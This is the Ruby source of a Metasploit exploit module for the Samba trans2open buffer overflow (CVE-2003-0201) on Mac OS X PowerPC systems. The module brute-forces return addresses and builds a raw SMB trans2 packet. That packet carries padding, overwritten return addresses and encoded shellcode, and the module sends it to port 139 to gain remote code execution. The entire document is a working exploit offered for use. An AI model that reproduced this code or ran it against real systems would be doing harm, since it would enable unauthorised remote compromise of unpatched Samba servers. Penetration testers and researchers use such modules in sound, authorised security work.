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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::SMB::Client
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  include Msf::Exploit::Brute
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Samba trans2open Overflow (Mac OS X PPC)',
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        'Description' => %q{
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          This exploits the buffer overflow found in Samba versions
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          2.2.0 to 2.2.8. This particular module is capable of
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          exploiting the bug on Mac OS X PowerPC systems.
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        },
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        'Author' => [ 'hdm', 'jduck' ],
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        'References' => [
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          [ 'CVE', '2003-0201' ],
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          [ 'OSVDB', '4469' ],
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          [ 'BID', '7294' ],
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          [ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]
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        ],
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        'Privileged' => true,
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00",
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          'MinNops' => 512,
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        },
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        'Platform' => 'osx',
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        'Arch' => ARCH_PPC,
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        'Notes' => {
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          'AKA' => ['ECHOWRECKER'],
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          'Stability' => UNKNOWN_STABILITY,
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        },
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        'Targets' => [
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          [
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            'Samba 2.2.x - Bruteforce',
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            {
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              # Not necessary on PPC
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              # 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack
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              'Offset' => 1195,
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              'Bruteforce' =>
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                {
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                  'Start' => { 'Ret' => 0xbffffdfc },
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                  'Stop' => { 'Ret' => 0xbfa00000 },
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                  'Step' => 512
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                }
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            }
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          ]
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        ],
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        'DisclosureDate' => '2003-04-07',
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        'DefaultTarget' => 0
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(139)
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      ]
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    )
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    deregister_options('SMB::ProtocolVersion')
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  end
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  # Need to perform target detection
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  def autofilter
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    false
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  end
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  def brute_exploit(addrs)
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    curr_ret = addrs['Ret']
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    begin
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      print_status("Trying return address 0x%.8x..." % curr_ret)
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      connect(versions: [1])
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      smb_login
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      # 1988 is required for findrecv shellcode
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      pattern = rand_text_english(1988)
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      # This stream covers the framepointer and the return address
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      off = target['Offset']
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      pattern[off, 64] = [curr_ret].pack('N') * 16
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      # Stuff the shellcode into the request
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      pattern[3, payload.encoded.length] = payload.encoded
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      trans =
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        "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00" +
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        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" +
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        "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00" +
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        "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01" +
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        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
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        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90" +
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        pattern
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      sock.put(trans)
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      handler
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      disconnect
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    rescue EOFError
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    rescue => e
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      print_error(e.to_s)
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    end
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  end
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end
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